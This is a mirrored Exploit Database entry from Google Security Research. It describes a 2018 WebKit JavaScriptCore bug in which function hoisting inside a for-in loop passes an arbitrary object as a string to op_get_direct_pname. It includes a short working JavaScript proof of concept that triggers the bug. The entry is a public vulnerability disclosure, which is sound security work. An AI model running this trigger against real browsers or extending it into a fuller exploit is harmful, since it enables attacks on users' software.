WebKit JSC – BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the ‘ForInContext’ Object

• Exploit Database
• 16 阅读

• 作者： Google Security Research
  日期： 2018-11-29
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/45912/

• /*
  This is simillar toissue 1263 . When hoisting a function onto the outer scope, if it overwrites the iteration variable for a for-in loop it should invalidate the corresponding ForInContext object, but it doesn't. As a result, an arbitrary object can be passed as the property variable to the op_get_direct_pname handler which uses the property variable directly as a string object without any check.
  
  PoC:
  */
  
  function trigger() {
  let o = {a: 1};
  for (var k in o) {
  {
  k = 0x1234;
  
  function k() {
  
  }
  }
  
  o[k];
  }
  }
  
  trigger();